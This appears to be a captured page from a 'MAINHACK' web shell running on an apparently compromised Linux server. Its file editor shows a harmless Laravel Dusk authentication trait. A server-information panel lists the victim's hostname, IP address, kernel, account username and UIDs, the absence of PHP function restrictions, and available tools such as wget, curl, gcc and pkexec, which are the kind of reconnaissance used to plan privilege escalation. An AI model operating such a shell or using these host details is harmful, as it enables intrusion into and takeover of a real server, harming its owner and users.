[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: InteractsWithAuthentication.php
<?php namespace Laravel\Dusk\Concerns; use Laravel\Dusk\Browser; use PHPUnit\Framework\Assert as PHPUnit; trait InteractsWithAuthentication { /** * Log into the application as the default user. * * @return $this */ public function login() { return $this->loginAs(call_user_func(Browser::$userResolver)); } /** * Log into the application using a given user ID or email. * * @param object|string $userId * @param string|null $guard * @return $this */ public function loginAs($userId, $guard = null) { $userId = is_object($userId) && method_exists($userId, 'getKey') ? $userId->getKey() : $userId; return $this->visit(rtrim(route('dusk.login', ['userId' => $userId, 'guard' => $guard], $this->shouldUseAbsoluteRouteForAuthentication()))); } /** * Log out of the application. * * @param string|null $guard * @return $this */ public function logout($guard = null) { return $this->visit(rtrim(route('dusk.logout', ['guard' => $guard], $this->shouldUseAbsoluteRouteForAuthentication()), '/')); } /** * Get the ID and the class name of the authenticated user. * * @param string|null $guard * @return array */ protected function currentUserInfo($guard = null) { $response = $this->visit(route('dusk.user', ['guard' => $guard], $this->shouldUseAbsoluteRouteForAuthentication())); return json_decode(strip_tags($response->driver->getPageSource()), true); } /** * Assert that the user is authenticated. * * @param string|null $guard * @return $this */ public function assertAuthenticated($guard = null) { $currentUrl = $this->driver->getCurrentURL(); PHPUnit::assertNotEmpty($this->currentUserInfo($guard), 'The user is not authenticated.'); return $this->visit($currentUrl); } /** * Assert that the user is not authenticated. * * @param string|null $guard * @return $this */ public function assertGuest($guard = null) { $currentUrl = $this->driver->getCurrentURL(); PHPUnit::assertEmpty( $this->currentUserInfo($guard), 'The user is unexpectedly authenticated.' ); return $this->visit($currentUrl); } /** * Assert that the user is authenticated as the given user. * * @param mixed $user * @param string|null $guard * @return $this */ public function assertAuthenticatedAs($user, $guard = null) { $currentUrl = $this->driver->getCurrentURL(); $expected = [ 'id' => $user->getAuthIdentifier(), 'className' => get_class($user), ]; PHPUnit::assertSame( $expected, $this->currentUserInfo($guard), 'The currently authenticated user is not who was expected.' ); return $this->visit($currentUrl); } /** * Determine if route() should use an absolute path. * * @return bool */ private function shouldUseAbsoluteRouteForAuthentication() { return config('dusk.domain') !== null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002